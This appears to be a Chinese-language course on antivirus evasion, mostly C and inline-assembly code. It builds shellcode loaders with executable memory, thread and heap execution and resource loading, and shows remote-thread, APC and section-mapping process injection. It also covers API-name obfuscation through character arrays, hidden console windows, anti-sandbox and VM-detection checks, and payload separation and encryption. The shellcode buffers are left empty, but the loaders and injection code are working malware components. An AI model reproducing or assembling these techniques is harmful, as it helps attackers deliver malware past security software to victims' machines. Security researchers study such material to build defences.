免杀入门基础课程

//动态获取Kernel32.dll基址和GetProAddress 地址
#include <windows.h>
#include <stdio.h>

//内嵌汇编获取Kernel32的地址
__declspec(naked) DWORD getKernel32()
{
    __asm
    {
        mov eax,fs:[30h]
        mov eax,[eax+0ch]
        mov eax,[eax+14h]
        mov eax,[eax]
        mov eax,[eax]
        mov eax,[eax+10h]
        ret
    }
}

//通过kernel32基址获取GetProcAddress的地址
FARPROC _GetProcAddress(HMODULE hModuleBase) 
{
    PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
    PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
    if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size){
        return NULL;
    }
    if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
        return NULL;
    }
    PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
    PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
    PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);

    DWORD dwLoop = 0;
    FARPROC pRet = NULL;
    for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {
        char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);

        if (pFunName[0] == 'G'&&
            pFunName[1] == 'e'&&
            pFunName[2] == 't'&&
            pFunName[3] == 'P'&&
            pFunName[4] == 'r'&&
            pFunName[5] == 'o'&&
            pFunName[6] == 'c'&&
            pFunName[7] == 'A'&&
            pFunName[8] == 'd'&&
            pFunName[9] == 'd'&&
            pFunName[10] == 'r'&&
            pFunName[11] == 'e'&&
            pFunName[12] == 's'&&
            pFunName[13] == 's')
        {
            pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
            break;
        }
    }
    return pRet;
}

int main()
{
    //kernel32.dll 基址的动态获取
    HMODULE hLoadLibrary = LoadLibraryA("kernel32.dll");
    //使用内嵌汇编来获取基址
    HMODULE _hLoadLibrary = (HMODULE)getKernel32();
    //效果是一样的
    printf("LoadLibraryA动态获取的地址: 0x%x\n", hLoadLibrary);
    printf("内嵌汇编获取的地址: 0x%x\n", _hLoadLibrary);

    //声明定义,先转到到原函数定义,然后重新定义
    typedef FARPROC(WINAPI *FN_GetProcAddress)(
            _In_ HMODULE hModule,
            _In_ LPCSTR lpProcName
        );

    FN_GetProcAddress fn_GetProcAddress;
    fn_GetProcAddress = (FN_GetProcAddress)_GetProcAddress(_hLoadLibrary);

    printf("动态获取GetProcAddress地址: 0x%x\n",fn_GetProcAddress);
    printf("内置函数获取: 0x%x\n",GetProcAddress);
}
//https://www.cnblogs.com/thresh/p/12609659.html
//弹框
#include <windows.h>
#include <stdio.h>

FARPROC  getProcAddress(HMODULE hModuleBase);
DWORD getKernel32();

int main()
{
    //声明定义GetProcAddress
    typedef FARPROC(WINAPI* FN_GetProcAddress)(
        _In_ HMODULE hModule,
        _In_ LPCSTR lpProcName
        );

    //获取GetProcAddress真实地址
    FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());


    //声明定义CreateFileA
    typedef HANDLE(WINAPI* FN_CreateFileA)(
        __in     LPCSTR lpFileName,
        __in     DWORD dwDesiredAccess,
        __in     DWORD dwShareMode,
        __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        __in     DWORD dwCreationDisposition,
        __in     DWORD dwFlagsAndAttributes,
        __in_opt HANDLE hTemplateFile
        );
    //将来的替换,地址全部动态获取
    //FN_CreateFileA fn_CreateFileA = (FN_CreateFileA)GetProcAddress(LoadLibrary("kernel32.dll"), "CreateFileA");
    //带引号的字符串打散处理
    char xyCreateFile[] = { 'C','r','e','a','t','e','F','i','l','e','A',0 };
    //动态获取CreateFile的地址
    FN_CreateFileA fn_CreateFileA = (FN_CreateFileA)fn_GetProcAddress((HMODULE)getKernel32(), xyCreateFile);
    char xyNewFile[] = { '1','.','t','x','t','\0' };
    fn_CreateFileA(xyNewFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);


    //定义LoadLibraryA
    typedef HMODULE(WINAPI* FN_LoadLibraryA)(
        __in LPCSTR lpLibFileName
        );
    char xyLoadLibraryA[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
    //动态获取LoadLibraryA的地址
    FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryA);


    //定义MessageBoxA
    typedef int (WINAPI* FN_MessageBoxA)(
        __in_opt HWND hWnd,
        __in_opt LPCSTR lpText,
        __in_opt LPCSTR lpCaption,
        __in UINT uType);

    //原来的:MessageBoxA(NULL, "Hello world", "tip", MB_OK);
    char xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
    char xy_MessageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A',0 };
    FN_MessageBoxA fn_MessageBoxA = (FN_MessageBoxA)fn_GetProcAddress(fn_LoadLibraryA(xy_user32), xy_MessageBoxA);
    char xy_Hello[] = { 'H','e','l','l','o',' ','w','o','r','l','d',0 };
    char xy_tip[] = { 't','i','p' };
    fn_MessageBoxA(NULL, xy_Hello, xy_tip, MB_OK);
    return 0;
}

__declspec(naked) DWORD getKernel32(){......}
FARPROC getProcAddress(HMODULE hModuleBase){......}
//shellcode加载器
#include<stdio.h>
#include<windows.h>
int main(int argc,char* argv[])
{
    //打开文件
    HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Oen file error:%d\n", GetLastError);
        return -1;
    }
    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //内存分配是否成功
    if (lpAddress ==NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError);
        CloseHandle(hFile);
        return -1;
    }

    DWORD dwRead;
    ReadFile(hFile,lpAddress,dwSize,&dwRead, 0);

    //内嵌汇编
    __asm 
    {
        call lpAddress
    }
    _flushall();
    system("pause");
    return 0;
}
************************************************************
#include <Windows.h>
#include <stdio.h>

#pragma comment(linker, "/SECTION:.data,ERW")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏窗口,不出现黑窗口


unsigned char buf[]={  }

int main()
{
    ((void(*)(void)) & buf)();//指针执行
     ((void(WINAPI*)(void)) & buff)(); //强制类型转换
}



申请动态内存
#include <Windows.h>
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
//windows控制台程序不出黑窗口

int main()
{
    char shellcode[] = "你的shellcode";
    
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    
    ((void(*)())exec)();
}
       

嵌入式汇编
       
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行

unsigned char shellcode[] = "你的shellcode";
void main()
{
	__asm
	{

		mov eax, offset shellcode //lea eax,shellcode
		jmp eax
	}
}


强类型转换
#include <Windows.h>
#include <stdio.h>

unsigned char buf[]="xxxx";

void main()
{
    ((void(WINAPI*)(void))&buf)();
}
       

汇编花指令

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")


unsigned char xff[] = "你的shellcode";
void main()
{
	__asm
	{		
		mov eax, offset xff;
		_emit 0xFF;
		_emit 0xE0;
	}
}


VirtualProtect() EnumFonts()//通过更改内存属性执行





//创建线程加载

#include <Windows.h>

unsigned char buf[] ="";


void main() {

	// 申请一块可进行读写操作的内存
    LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存中
    RtlMoveMemory(pMemory, buf, sizeof(buf));

    // 创建一个新的线程来执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待新创建的线程执行完成
    WaitForSingleObject(hThread, INFINITE);

}




通过堆加载
#include <Windows.h>

// 定义 shellcode(恶意代码)
unsigned char shellcode[] = "";

// 主函数
void main() {
    // 创建一个具有执行权限的堆,以存储shellcode
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);

    // 在创建的堆中分配一块内存,并将其地址赋给buffer
    char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

    // 将shellcode复制到buffer指向的内存中
    memcpy(buffer, shellcode, sizeof(shellcode));

    // 下面是另一种创建线程的方法,这里被注释掉了
    // 创建一个新线程并执行buffer指向的内存中的shellcode
    // HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);

    // 等待新线程执行完毕
    // WaitForSingleObject(hThread, INFINITE);

    // 将buffer指向的内存地址强制转换为一个函数指针,并调用该函数,执行shellcode
    ((void(*)(void)) buffer)();
}

#include <Windows.h>
#include "resource.h"

//通过资源加载ShellCode
void ResourceLoader() {

    HRSRC Res = FindResourceA(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), "shellcode");
    //用于获取资源的大小
    DWORD ResSize = SizeofResource(NULL, Res);
    //LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄
    HGLOBAL Load = LoadResource(NULL, Res);
    //申请内存
    void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(buffer, Load, ResSize);
    //执行shellcode
   // ((void(*)(void)) buffer)(); 
    ((void(WINAPI*)(void))  buffer)();
}
int main() {

    ResourceLoader();
}
远程线程注入步骤:
//1、打开被注入进程的句柄————OpenProcess();
//2、通过句柄向被注入进程申请可写可执行空间————VirtualAllocEx();
//3、向申请的空间内写入数据(dllpath/shellcode)————WriteProcessMemory();
//4、创建线程————CreateRemoteThread()、CloseHandle();

BYTE buffer[]="XXX";

//1、打开被注入进程的句柄————OpenProcess();
DWORD processId=GetCurrentProcessId();
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,processId);

//2、通过句柄向被注入进程申请可写可执行空间————VirtualAllocEx();
SIZE_T size=sizeof(buffer);
LPVOID pRemoteMemory=VirtualAlloc(hProcess,NULL,MEM_OMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

//3、向申请的空间内写入数据(dllpath/shellcode)————WriteProcessMemory();
WriteProcessMemory(hProcess,pRemoteMemory,buffer,size,NULL);

//4、创建线程————CreateRemoteThread()、CloseHandle();
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL, 0, NULL);
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
//APC注入
#include <Windows.h>
#pragma comment(lib, "ntdll")
using myNtTestAlert = NTSTATUS(NTAPI*)();
int main()
{
unsigned char buf[] = "";
myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
SIZE_T shellSize = sizeof(buf);
LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
testAlert();
return 0;
}
//Mapping注入
//CreateFileMapping()
//MapViewOfFile()
//RtlMoveMemory()
//OpenProcess()
//MapViewOfFile2()
//CreateRemoteThread()
//UnmapViewOfFile()
//CloseHandle()

#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "OneCore.lib")

unsigned char shellcode[] =;

int main(int argc, char** argv)
{

	HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

	LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

	memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 19752);

	LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);

	UnmapViewOfFile(lpMapAddress);
	CloseHandle(hMapping);
	return 0;
}
//匿名管道执行shellcode
//VirtualAlloc()
//CreatePipe()
//WriteFile()
//ReadFile()
//VirtalProtect()
//EnumWindows();执行shellcode
//隐藏DOS窗口
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏窗口

#include <windows.h>  
#include <shellapi.h>  
#include <iostream>  

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nCmdShow) {
	int argc;
	PWSTR* argv = CommandLineToArgvW(lpCmdLine, &argc);

	for (int i = 0; i < argc; i++) {
		MessageBox(NULL, argv[i], NULL, MB_OK);
	}
	
	WinExec("calc.exe", 5);
	// 释放内存  
	LocalFree(argv);

	return 0;
}
//反沙箱
资源特别小虚拟环境,内存小,运行时间限制,硬盘小,没有USB设备等接口
睡眠后运行sleep,自己实现sleep,或者自己做大运算,等价函数
检测硬盘等硬件足够大则运行否则不
检测进程,检查vmware或者一些vmware才有的文件dll,sys注册表
检测电脑常见和常用软件或者文件或者端口
web:apache,tomcat等与网站相关
个人pc:微信,钉钉,QQ等
传参检测:key,file等没有特定参数不执行
特定文件检测
检测进程服务
检测硬件和系统
检测系统运行时间
开机运行时间
钓鱼:弹框交互执行,检测鼠标移动,安装软件

Windows X86-64 System Call Table (XP/2003/Vista/7/8/10/2022/11)

//https://key08.com/index.php/2021/09/27/1349.html
杀毒软件查杀技术

hash查杀、单特征码查杀、多特征码(base+偏移)、辅助特征码技术(pe头、字符串、导入表、pe信息等)、全局特征(基于局部敏感hash算法

启发查杀:
初级版: 提取字符串、导入表之类的,遇到某些函数或者字符串进行加分减分操作
中级版: 指定一些pe信息,比如PE入口点前x字节,导入表导出表函数等信息,送入机器学习网络,与多分类任务无差别,玩的花的比如把整个PE当成一张图片,然后做CNN的也有,SVM做特征的也有,目前大部分安全软件的 “启发引擎” 就是这玩意.
高级版: 中级版的信息+动态行为模式,所谓的动态行为是用CPU仿真的操作虚拟出一个系统,然后模拟跑样本(可以参考unicorn-engine),API调用+中级版查杀脱壳后的东西

后置查杀引擎:
对运行后的行为链进行提取,送入机器学习的网络,根据行为启发引擎+静态启发引擎进行行为判定,此类目前被称为 “下一代杀毒引擎”

云查杀

BypassAntiVirus

//免杀阶段
静态、动态、执行、内存、行为、流量
//分离payload
本地读取、注册表写入读取、远程拉取

//payload加密
异或编码、AES加密